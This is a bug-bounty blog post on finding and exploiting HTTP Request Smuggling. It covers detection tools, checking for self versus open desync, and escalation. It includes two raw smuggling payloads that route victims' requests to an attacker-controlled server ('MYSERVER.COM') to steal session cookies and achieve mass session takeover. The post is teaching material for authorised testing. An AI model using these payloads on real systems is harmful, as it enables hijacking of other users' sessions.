Clarification: I’m not an expert in finding and exploiting HTTP Request Smuggling but I will share how I found a couple of them and the steps I make to exploit them.

How to find them?

Basically there are 2 main ways of finding HTTP Request Smuggling vulnerabilities right now. Using the burp extension or using the @defparam tool (also public) on github called Smuggler.

Not to mention you can also build your own tool to detect them but I recommend to try those first, and then you can work on your own once you get the hand of it.

Both tools give you alerts when a possible HTTP Request Smuggling case appears, this means that after you receive one, you need to check if it is a false positive or valid case.

This is important to clarify since this specific vulnerability type gives a lot of false annoying positives.

How to exploit them?

Ok let’s say that you managed to find a valid case of HTTP Request Smuggling. It is possible to validate it using either the burp extension’s option to check for CLTE/TECL or the script from @defparam in turbo intruder, now what?

Well now you need to check if it is an Open Desync or Self Desync… wait what? yes. Apparently you can have a self-desync, meaning that you are only affecting yourself (your connection).

Basically you need to check if it affects just your IP or if it can affect other IPs/connections (similar to XSS and self-XSS in impact).

You can make traffic from another ip and see if you can smuggle a request to yourself (if you can’t prove you can affect other connections, report it anyway because it might be possible and you might be missing it).

After validating it, the first thing I check is if I can redirect to another domain or not, because if you can, then you can usually escalate the issue pretty fast by stealing the victim’s cookies and achieve a critical severity.

The idea is the following, to smuggle a GET request to your server, for example making the following request:

Transfer-Encoding: chunked
Transfer-encoding: identity

19
f
on085=x&bcf5i=x
0


0

GET https://MYSERVER.COM HTTP/1.1
X-Ignore: X

But if you can’t, because you get an error or whatever, there are other options like DoS, leveraging the impact of XSS, triggering a harmful request on the victim’s account, and a few more scenarios. A must read is Albinowax’s guide. It explains everything you need to know and different cases of explotation.

If you are in a stage environment like I was, and there is 0 traffic going on, you need to generate traffic from other IP. You can use 2 machines, one smuggles the requests and the other one (with other IP) tries to get smuggled.

I used an online page that takes screenshots of the url you give, which makes keep-alive requests that are possible to smuggle (worked for me at least, ha).

Ok back to what we were talking. if you aren’t in a stage environment, and you are able to redirect to other domain, then this step isn’t hard at all. You need to point it to burp collaborator or your own personal server and check if you receive a connection from a different IP that you have (best scenario).

Most of the time this would result in a critical issue since if you redirect to another domain (and isn’t a code 300-399 redirect), then you should be able to steal the cookies, achieving massive Session Takeover, yay!

A good example of this scenario is shown in this amazing report: #737140 where @defparam was able to leak the session cookie, leading to mass session takeover of the users affected.

The payload tries to smuggle a simple GET request to his server, which will contain all the cookies of the victims :)

Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET  HTTP/1.1
X: X

Where to practice?

  • I highly recommend checking the labs of Portswigger, they have everything you need to know to understand this vulnerability type and get you going.
  • Private programs. As stupid as it sounds, private programs are a good place to try and find HTTP Request Smuggling vulnerabilities because they are less tested than public programs. I personally found 3 in 3 different private programs, but 0 in public programs.
  • Go for subdomains too! scanning for subs takes more time, but the chances of hitting a subdomain that no-one else scanned for http-smuggling are higher.

Conclusion

  • This is a hard vulnerability type to identify and exploit, it requires time to manually validate it and then look into how to exploit it… take your time!
  • The more you research about this, the more things you find.
  • This is a pretty “new” vulnerability type (not really, but most of us found out of it in 2019) discovered/researched by Albinowax from Portswigger. There is a lot to dig into.

Ok that’s all. If you liked the post and want to buy me a coffee, click the icon: